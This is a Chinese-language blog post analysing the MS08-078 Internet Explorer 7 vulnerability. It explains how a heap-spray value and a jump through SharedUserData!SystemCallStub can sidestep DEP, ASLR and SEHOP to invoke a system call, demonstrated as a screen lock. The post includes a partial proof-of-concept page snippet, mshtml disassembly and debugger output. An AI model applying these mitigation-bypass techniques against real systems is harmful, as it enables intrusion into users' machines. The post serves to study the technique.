How to Bypass DEP+ASLR+SEHOP

本文通过分析MS08-078 IE7漏洞,详细解释了如何利用该漏洞绕过Windows系统的DEP、ASLR及SEHOP等安全保护机制,并以锁屏操作为例展示了攻击原理。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

昨天去SSCON2009听TK讲了一个议题"安全漏洞的下一个十年",佩服TK的演讲的幽默风趣,MS一个

非常具有忽悠的议题讲的很生动,精彩,再次膜拜下,我个人觉得里面最精彩部分就在如下了,呵呵,

通过MS08-078这个去年的IE7的漏洞来介绍如何绕过windows现有的安全保护机制,很是受启发,因为

TK只有一张PPT的介绍,我在此想展开介绍的更详细点,和大家分享一下TK的研究成果:),未经TK

的同意,在此还要感谢下TK:)

我去年分析过这个漏洞,现在让我们看看,到底是如果绕过windows现有的DEP,ALSR,SEHOP这些安全

保护机制的。

if(wxp||w2k3)document.write(
'<XML ID=I><X><C>
<![CDATA[<image SRC=http:// C8;ਊ.book.com src=http://www.google.com]]>
<![CDATA[>]]></C></X></xml>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID=I>
</XML>

漏洞细节就不介绍了,构造如此数据在这个Poc中

0x0a0a11c8

通过Heap spray在内存中填充0x7ffe027c这个值,为什么要填充如下值,下面会作介绍。


mshtml.dll CXfer::TransferFromSrc(void)
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18 ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18 ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg = VARIANTARG ptr -18h
.text:461E3D18 var_8 = dword ptr -8
.text:461E3D18 var_4 = dword ptr -4
.text:461E3D18
.text:461E3D18 mov edi, edi
.text:461E3D1A push ebp
.text:461E3D1B mov ebp, esp
.text:461E3D1D sub esp, 18h
.text:461E3D20 push ebx
.text:461E3D21 push esi
.text:461E3D22 mov esi, ecx
.text:461E3D24 xor ebx, ebx
.text:461E3D26 test byte ptr [esi+1Ch], 9
.text:461E3D2A jnz loc_461E3E2E

.text:461E3D30 mov eax, [esi] //eax==0x0a0a11c8
.text:461E3D32 cmp eax, ebx
.text:461E3D34 jz loc_461E3E29
.text:461E3D3A cmp [esi+4], ebx
.text:461E3D3D jz loc_461E3E29
.text:461E3D43 cmp [esi+8], ebx
.text:461E3D46 jz loc_461E3E29
.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c
.text:461E3D4E push edi
.text:461E3D4F push eax //eax==0x0a0a11c8
.text:461E3D50 call dword ptr [ecx+84h] //call [0x7FFE027C+0x84], 换句话说就是call

[0x7ffe0300], 这是SharedUserData!SystemCallStub指针,这个指针里面存放着用户态进入内核态

ntdll!KiFastSystemCall函数的地址,也就是任何内核系统服务调用都会通过这个函数进入内核。

this call request for native API.// this call like call NtUserLockWorkStation for lock the windows:)


0:000> dd SharedUserData!SystemCallStub
7ffe0300 7c828608 7c82860c 00000000 00000000
7ffe0310 00000000 00000000 00000000 00000000
7ffe0320 00d2c763 00000000 00000000 00000000
7ffe0330 71724108 00000000 00000000 00000000
7ffe0340 00000000 00000000 00000000 00000000
7ffe0350 00000000 00000000 00000000 00000000
7ffe0360 00000000 00000000 00000000 00000000
7ffe0370 00000000 00000000 00000000 00000000

0:000> u 7c828608
ntdll!KiFastSystemCall:
7c828608 8bd4 mov edx,esp
7c82860a 0f34 sysenter
ntdll!KiFastSystemCallRet:


我们再看看这个0x11c8这个值构造的用意,先让我们看看锁屏函数NtUserLockWorkStation,也就是直接

调用这个函数就是会实现锁屏功能。

0:000> u 773ddd0d
USER32!NtUserLockWorkStation:
773ddd0d b8c8110000 mov eax,11C8h //
773ddd12 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
773ddd17 ff12 call dword ptr [edx]
773ddd19 c3 ret

我们再看看这个ie7的漏洞的片断
.text:461E3D46 jz loc_461E3E29
.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c
.text:461E3D4E push edi
.text:461E3D4F push eax //eax==0x0a0a11c8//这里的实现是不是跟NtUserLockWorkStation很
相似
.text:461E3D50 call dword ptr [ecx+84h] //call [0x7FFE027C+0x84]

也许大家会问NtUserLockWorkStation的代码片断是mov eax,0x11c8,而上面的代码的eax是0x0a0a11c8,

事实在内核中处理过程,来通过传入的eax的值来判断是哪个服务调用,其实只用了低两个字节,所以

0x0a0a11c8可以忽略高两个字节,对服务调用结果不影响,所以完全可以当成是执行了锁屏操作。

结论:

1.通过Heap spray注入内存的构造的数据绕过DEP,因为没有在堆上执行代码

2.绕过ASLR,是因为内核服务调用的入口地址是不会变化的,只要能够构造相应的内核调用需要用到的

参数,就可以执行类似这样的shellcode,但是局限性也很明显了,因为这样构造出来的shellcode功能很

有限,就像TK演示的那样,制造了一个锁屏的操作。

3.利用起来非常困难,但就理论上就对抗windows的这些安全保护机制,算是绕过了,呵呵:)

写的匆忙,多多包涵,再次感谢TK提供的这种想法:)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值